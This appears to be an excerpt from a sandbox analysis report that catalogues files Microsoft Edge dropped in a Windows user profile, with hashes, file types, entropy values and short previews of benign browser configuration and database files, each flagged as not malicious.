SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\64283315-5f55-4288-a3e5-bd55f730ecc5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17368), with no line terminators
Category:	dropped
Size (bytes):	17374
Entropy (8bit):	5.486277157185413
Encrypted:	false
SSDEEP:	384:stkPGQSu4Ksr9iZ9neycG4pi4NbGfQwUsv:saOXue9iZcyn4bGoXk
MD5:	D2C2BCB724C48AD292B528EA14C0EEE7
SHA1:	07E29E143713B07187CAA1F50FCF94D20B9D4061
SHA-256:	F0A7E9E924C746172EFAE910B489328C4154FF81AB0A85A85DC08F97444CABB8
SHA-512:	A2B1AE148D9E2537A49C96B6F39F3A38B8AFAE15943B23BEEFCDB1B584C00DCE5B8DDF9E63D813666BB4FC1A116E016DDED0C07EB6C7C1E3783AC6243D174CAC
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376413011247906","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7cd53291-15e3-448a-927d-32d67f3965aa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	305
Entropy (8bit):	5.273126170230041
Encrypted:	false
SSDEEP:	6:HUOuKxSD1qLTwi23oH+Tcwtp3hBtB2KLlVUOuKt3+q2PqLTwi23oH+Tcwtp3hBWq:af2wZYebp3dFLCc+v8wZYebp3eFUv
MD5:	0B0A6A49B3985DAF4548D307A93E86E9
SHA1:	33A8545C4F1158D4E6FA533EA4B7DAF22B9F66C6
SHA-256:	DEEAC5A6B6759BC727DDD192C5BF2D727715FE6596E3F4E1B260A6D9A1125F72
SHA-512:	C3EABC7BB29F9F6FE5FA2D984E7BA08413D2B72C0383998A52519EA27EB9F82E30D7DD41340C81F2BC005D285FAD540F0AFBF28EF4EF767C74602402D3067AFB
Malicious:	false
Preview:	2024/11/18-09:16:55.819 163c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/18-09:16:55.852 163c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1696115
Entropy (8bit):	5.0406062194513845
Encrypted:	false
SSDEEP:	24576:7af76gGkISshcFdmcOAoPENUpifYP+MbI2T:7afgAmmE
MD5:	D27F18B2964D6DC71B5B94027A4392D7
SHA1:	68A658AB997C14E91847522BA660D8F4FA4F0400
SHA-256:	96DCD52292915025315671075190E2490250A2F19314E617ED373C3C9E739CBC
SHA-512:	52783D57B0A1C574B5FEB5679C6D87AFD25A8F3FE87FF422185B18440DBAF3509F2E6B08F7390C96D434E792094B9DF5B377E77BFD3EAA8811D34B9BF337B6E1
Malicious:	false
Preview:	...m.................DB_VERSION.1acT..................QUERY_TIMESTAMP:arbitration_priority_list4...13340969984833782.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.181421834037878
Encrypted:	false
SSDEEP:	6:HUOuKA+q2PqLTwi23oH+Tcwt9Eh1tIFUt8YUOuKfPZmw+YUOuKfuVkwOqLTwi23A:a0v8wZYeb9Eh16FUt8dS/+dd5TwZYebY
MD5:	9F0E39A10CBEDACFB366984C5F37C132
SHA1:	572B2FF48B061707AE179DB70EBAFEA237697CF8
SHA-256:	5ACBE136D55C19DDD0CFE25CDBDBDEBB634AA85EE51CB8040A7907D1C0E6688C
SHA-512:	4EAA53CAD074081471D700279058DB811FBA95F3CCDC0788BAB0FA5CECB5B60ADF6AA3B41E06D3DC7EB75BB6AB0F98A9853890D3042936E7BF75118A84D9FF85
Malicious:	false
Preview:	2024/11/18-09:16:55.679 16f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/18-09:16:55.681 16f8 Recovering log #3.2024/11/18-09:16:55.686 16f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.181421834037878
Encrypted:	false
SSDEEP:	6:HUOuKA+q2PqLTwi23oH+Tcwt9Eh1tIFUt8YUOuKfPZmw+YUOuKfuVkwOqLTwi23A:a0v8wZYeb9Eh16FUt8dS/+dd5TwZYebY
MD5:	9F0E39A10CBEDACFB366984C5F37C132
SHA1:	572B2FF48B061707AE179DB70EBAFEA237697CF8
SHA-256:	5ACBE136D55C19DDD0CFE25CDBDBDEBB634AA85EE51CB8040A7907D1C0E6688C
SHA-512:	4EAA53CAD074081471D700279058DB811FBA95F3CCDC0788BAB0FA5CECB5B60ADF6AA3B41E06D3DC7EB75BB6AB0F98A9853890D3042936E7BF75118A84D9FF85
Malicious:	false
Preview:	2024/11/18-09:16:55.679 16f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/18-09:16:55.681 16f8 Recovering log #3.2024/11/18-09:16:55.686 16f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46233102448933155
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBu8ek:TouQq3qh7z3bY2LNW9WMcUvBuM
MD5:	BE1903BAD7A6EF52F80FF6F9623A476C
SHA1:	7E4531A5E89BC55CDFD7C946ACBC505A383F785C
SHA-256:	5888751FE384766068EC1B3418AF6C077A6420042B6375098961CF0F042636BF
SHA-512:	04B9726950DA6F24BF43E2BCF31FE4D59FAD580757876350BE9BD50B74AF359E2FE7A0E666FFB72ED7DCC32E172A03617437E20917279712873540B24FC8171F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.215619246908236
Encrypted:	false
SSDEEP:	6:HUOuKc+q2PqLTwi23oH+TcwtnG2tMsIFUt8YUOuKcZmw+YUOuKOOcSNVkwOqLTwL:aR+v8wZYebn9GFUt8dN/+dJOcSNV5TwL
MD5:	1C61DA092BCE8D7DFBF85F8BA7FF82E0
SHA1:	7CACB1A0FC654695F50CA7CFA819589C9E50821F
SHA-256:	3A1A5453AA262AF36134C1F4BE68FD31DD1046EAA6FD4256227D651982EE45B0
SHA-512:	D01D4C5E1D4A8BA5A4DCD96C04D1E616BA73960F8ED7AD735E8E984DAE5A06DCB2F099B57A2FA7A50F011BEE899CDE6FE7F0DEEF5CEACA5D221E39CA25929602
Malicious:	false
Preview:	2024/11/18-09:16:50.681 1d9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/18-09:16:50.681 1d9c Recovering log #3.2024/11/18-09:16:50.682 1d9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.215619246908236
Encrypted:	false
SSDEEP:	6:HUOuKc+q2PqLTwi23oH+TcwtnG2tMsIFUt8YUOuKcZmw+YUOuKOOcSNVkwOqLTwL:aR+v8wZYebn9GFUt8dN/+dJOcSNV5TwL
MD5:	1C61DA092BCE8D7DFBF85F8BA7FF82E0
SHA1:	7CACB1A0FC654695F50CA7CFA819589C9E50821F
SHA-256:	3A1A5453AA262AF36134C1F4BE68FD31DD1046EAA6FD4256227D651982EE45B0
SHA-512:	D01D4C5E1D4A8BA5A4DCD96C04D1E616BA73960F8ED7AD735E8E984DAE5A06DCB2F099B57A2FA7A50F011BEE899CDE6FE7F0DEEF5CEACA5D221E39CA25929602
Malicious:	false
Preview:	2024/11/18-09:16:50.681 1d9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/18-09:16:50.681 1d9c Recovering log #3.2024/11/18-09:16:50.682 1d9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6134282654638906
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mWOx/MAqsxSc:TLapR+DDNzWjJ0npnyXKUO8+jvNpJAmL
MD5:	C9EAFB5BAC45617A5666FD611DAF435F
SHA1:	2EAF40388B07904A58CDE86D969C640B01EBB3AC
SHA-256:	972BBB8B3823D3248279FD101F1EDFD639DD8BDEC82A6486D2F49067D0E23A88
SHA-512:	6F402A2D8D5052D78DA33F949786A4B3EDE850FA7B980BD17FF5DF6CC4651366D51E46C179976A67972C8692E7EE94E3910FA3BA5EB9B15DF4339E2C8C39490B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354163192697577
Encrypted:	false
SSDEEP:	6144:KA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:KFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	EDD954D396EB85A24F92077EC5FDC4B0
SHA1:	87FEABBB85BD5799AB8E04DE5677E49BDCA7A437
SHA-256:	EF4F438EEAFC57A0C08EFDEAF38F82D0AE272892F246DDE73427A0D5DA4B9E7A
SHA-512:	D60AC3548314512A1239BB61A811D92A2DDB31F72CAB807592E59789D66EA038BA9ACB25723DD67C9F2D3224C829C0D8D046B2FB0DB9A4E9E4D355821DA3DD67
Malicious:	false
Preview:	...m.................DB_VERSION.1....q...............&QUERY_TIMESTAMP:domains_config_gz2...13376413016937264..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	307
Entropy (8bit):	5.1615727348877485
Encrypted:	false
SSDEEP:	6:HUOuKzD1qLTwi23oH+Tcwtk2WwnvB2KLlVUOuKVq2PqLTwi23oH+Tcwtk2WwnvIg:aE2wZYebkxwnvFLCgv8wZYebkxwnQFUv
MD5:	18CB550ED7A6B5728D4352674594CEEE
SHA1:	AEFC87302D21A213B8F7C3D1C54F77FDDD5EF314
SHA-256:	0E6AC21767D35B5F192533D0411A48CA36E0F0BAF51B41E8E743F62BAF5C0BDA
SHA-512:	81124F9D0BF098E652BCCC002FF62064E21280479CEC715567E95144B4AD66FD7CCBBF82C86289CE00E3C79DC68E1DECCFF60456BBB35196656F19DC62F32D8A
Malicious:	false
Preview:	2024/11/18-09:16:55.694 1ec0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/18-09:16:55.770 1ec0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324617952870475
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6R0:C1gAg1zfvs
MD5:	8EC13749E92DB43A66B181E4AF71C666
SHA1:	63D67074F932FEBF7BF88365AD29D9B107F67E6B
SHA-256:	8329D406D1D312BB55A9A83208332D1DCF5394EE7977E2348B8008371ABA102B
SHA-512:	782D75C96D3BC2067333E0DBB66499FF43D1F8BE92507C4A71468FF9DFEE8B204146CB5399EAA769515F4571A9F90D0A1887C74CE5D8B77E51A40968A1A91C8B
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.199825032824916
Encrypted:	false
SSDEEP:	6:HUOuKKO3+q2PqLTwi23oH+Tcwt8aPrqIFUt8YUOuKEOQSmWZmw+YUOuKEOQSNVkM:aNa+v8wZYebL3FUt8d7SmW/+d7SNV5TR
MD5:	FEE906E0084B8260AE6B9B859EA4E04C
SHA1:	C86C42BA95176985C557360BB32DD331C94FFF23
SHA-256:	D1C0FDAD480DA84C60171C961D80E3AA6F42644A2CF3F7E2566B9FB999D7CFD3
SHA-512:	A49A8E454C26FB29073045333EFA988730FD889FAB128E83EAFD9BD8C1DC1B2DA72AD17A99184E2C4BFDD6BC873A56448C6A0893FC54DB3D577D0D2EE593BDD5
Malicious:	false
